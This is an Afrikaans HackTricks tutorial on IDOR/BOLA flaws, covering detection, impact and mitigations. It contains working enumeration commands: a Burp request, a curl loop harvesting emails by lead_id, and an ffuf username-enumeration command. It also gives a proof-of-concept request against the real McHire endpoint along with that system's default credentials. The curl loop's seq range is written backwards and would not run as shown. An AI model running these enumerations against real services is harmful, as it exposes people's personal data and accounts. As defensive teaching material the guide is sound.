IDOR (Insecure Direct Object Reference)

Reading time: 5 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) verskyn wanneer 'n web- of API-endpoint 'n deur gebruiker beheerbare identifiseerder openbaar of aanvaar wat direk gebruik word om 'n interne objek te bereik sonder om te verifieer dat die oproeper gemagtig is om toegang tot daardie objek te kry of dit te wysig. Suksesvolle uitbuiting laat gewoonlik horizontal of vertical privilege-escalation toe, soos om ander gebruikers se data te lees of te wysig en, in die ergste geval, volledige account takeover of mass-data exfiltration.


1. Identifisering van potensiële IDORs

  1. Soek na parameters wat na 'n objek verwys:
  • Path: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Headers / Cookies: X-Client-ID: 4711
  1. Gee voorkeur aan endpoints wat data lees of bywerk (GET, PUT, PATCH, DELETE).
  2. Merk wanneer identifiseerders opvolgend of voorspelbaar is – as jou ID is 64185742, dan bestaan 64185741 waarskynlik.
  3. Verken verborge of alternatiewe flows (bv. "Paradox team members" link in login pages) wat ekstra APIs kan openbaar.
  4. Gebruik 'n geauthentiseerde lae-privilege sessie en verander slegs die ID terwyl dieselfde token/cookie behou word. Die afwesigheid van 'n autorisasie fout is gewoonlik 'n teken van IDOR.

Vinnige handmatige manipulasie (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Geoutomatiseerde enumerasie (Burp Intruder / curl loop)

bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Error-response oracle for user/file enumeration

Wanneer 'n download endpoint beide 'n username en 'n filename aanvaar (bv. /view.php?username=<u>&file=<f>), skep subtiele verskille in foutboodskappe dikwels 'n oracle:

  • Nie-bestaande username → "User not found"
  • Slegte filename maar geldige extension → "File does not exist" (soms word beskikbare files ook gelys)
  • Slegte extension → validation error

Met enige authenticated session kan jy die username-parameter fuzz terwyl jy 'n onskadelike filename hou en filter op die "User not found"-string om geldige gebruikers te ontdek:

bash
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

Sodra geldige gebruikersname geïdentifiseer is, versoek spesifieke lêers direk (bv. /view.php?username=amanda&file=privacy.odt). Hierdie patroon lei dikwels tot ongemagtigde openbaarmaking van ander gebruikers se dokumente en credential leakage.


2. Werklike gevallestudie – McHire Chatbot-platform (2025)

Tydens 'n assessering van die Paradox.ai-aangedrewe McHire werwingsportaal is die volgende IDOR ontdek:

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: user session cookie vir enige restaurant-toetsrekening
  • Body parameter: {"lead_id": N} – 8-syfer, sekwensiële numeriese identifiseerder

Deur lead_id te verlaag het die toetser willekeurige aansoekers se full PII (naam, e-pos, telefoon, adres, skofvoorkeure) plus 'n verbruikers JWT wat session hijacking toegelaat het, opgehaal. Enumerasie van die reeks 1 – 64,185,742 het omtrent 64 miljoen rekords blootgestel.

Proof-of-Concept request:

bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

In kombinasie met default admin credentials (123456:123456) wat toegang tot die toetsrekening gegee het, het die kwesbaarheid gelei tot 'n kritieke, maatskappy-wye datalek.


3. Impak van IDOR / BOLA

  • Horisontale eskalasie – lees/werk by/verwyder ander gebruikers se data.
  • Vertikale eskalasie – 'n gebruiker met lae voorregte verkry admin-only funksionaliteit.
  • Massiewe data breach as identifiseerders opeenvolgend is (bv. aansoeker-ID's, fakture).
  • Rekeningoorname deur tokens te steel of wagwoorde van ander gebruikers te reset.

4. Mitigasies & Beste praktyke

  1. Dwing object-vlak autorisasie af op elke versoek (user_id == session.user).
  2. Beveel indirekte, onraai-bare identifiseerders aan (UUIDv4, ULID) in plaas van auto-increment IDs.
  3. Voer autorisasie server-side uit; vertrou nooit op versteekte formvelde of UI-behelsels nie.
  4. Implementeer RBAC / ABAC kontroles in 'n sentrale middleware.
  5. Voeg rate-limiting & logging by om enumerasie van ID's op te spoor.
  6. Sekuriteitstoets elke nuwe endpoint (unit, integration, en DAST).

5. Gereedskap

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

References

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks